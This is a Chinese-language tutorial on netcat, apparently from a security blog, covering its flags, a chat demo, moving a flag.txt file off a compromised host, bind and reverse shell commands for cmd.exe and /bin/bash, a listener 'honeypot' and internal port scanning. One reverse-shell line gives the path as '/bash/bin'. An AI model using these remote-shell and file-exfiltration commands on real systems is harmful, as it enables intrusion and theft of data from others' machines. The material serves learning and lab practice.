工具篇–瑞士军刀NC

  • A+

概述

NetCat,简称'nc',有着 网络安全界"瑞士军刀" 的美称,可以通过TCP/UDP协议读写,是一个好用稳定的连接系统后门的工具,同时也是一个网络调试和开发工具

前期准备

两台任意有NC的命令的Linux主机

如果没有nc命令,使用下面命令安装

yum install -y nc

以下两台Linux分别命名为a和b,a是服务端,b是主机

常用参数

```
-l:启动监听
-v:显示执行命令的过程
-vv:显示更详细的信息
-p:指定端口
-e:重定向一个程序
-z:直接显示结果,用于扫描
-u:使用udp协议
-t:使用tcp协议
-n:IP以数字显示
-w:设置超时时间

```

构造一个简单的聊天界面

在a中使用命令

nc -lvp 监听端口[比如:1234,4567,8888,9999......任意即可,但是不能大于65535]

然后在b中执行

nc -nv 服务端的IP地址 服务端的监听端口

image.png

在服务端看到下图就说明已经连接上了,connect to后面的IP地址是连接过来的主机的IP地址

image.png

然后任意发信息都可以在对方主机显示出来,无论是服务端发送信息给主机还是主机发送信息给服务端,都可以实现两边都看得到对方给发的信息

image.png

构造一个读取文件的界面

假如服务端里有一个flag.txt,然后需要hacker入侵该系统并且取得flag文件,当hacker入侵进服务端的时候,发现了flag文件,但是不能直接读取,hacker绞尽脑汁地先查看这个文件,突然想到可以用到nc将文件传出来了,于是...

使用下面的命令将文件传出去:
nc -lvp 8888 < flag.txt

然后咱们在主机输入命令
nc -nv 服务端的IP地址 服务端的监听端口

image.png

连接成功后,主机端会回显文件内的内容

image.png

反弹一个shell

nc的功能是不限于聊天和返回文件的,反弹shell才是正经事

  • 在Windows中,我们执行命令都是使用cmd.exe
  • 在Linux中,我们执行命令都是使用/bin/bash

正向连接

正向连接:主动连接反弹shell的主机,通俗来说就是我们自己去连接服务端,然后执行命令,好比你喜欢一个男孩/女孩,你要主动去追人间,就是这么一个意思

image.png
nc -lvp -t -e cmd.exe 8888 //-t使用TCP连接,因为TCP很稳定, -e反弹cmd.exe出去
同样的,使用下面的命令连接到shell
nc -nv 服务端的IP地址 服务端的监听端口
如果你要反弹Linux的shell
nc -lv -t -e /bin/bash -p 8888 //-t使用TCP连接,因为TCP很稳定, -e反弹/bin/bash出去

image.png
然后可以试着执行一下命令看一下是否成功反弹了一个shell回来

image.png

反向连接

反向连接:有服务端主动连接到我们的主机,反向连接好比有一个女孩/男孩在主动追求你

image.png
先在我们的主机输入监听端口的命令
nc -lvp 8888

image.png
然后在服务端输入
nc -e /bash/bin -t 主机ip 主机的监听端口

image.png
当有服务端主动连接上我们的主机时,可以通过输入命令测试是否已经拿到shell了

image.png

搭建一个蜜罐

nc -k -lvp 8888 > abc.txt //-k持续监听

扫描端口

通常当你拿到shell了,但是还想探测一下内外的情况,但是扫描工具是扫描不进内网的,这个时候可以用nc扫描(不知道为什么,我自己的主机没有东西回显回来,这很糟糕)

nc -n -z -v 服务端IP地址 端口[端口范围]

如果有该端口是开放的:

image.png

如果该端口是关闭的,会显示Connection refused :

image.png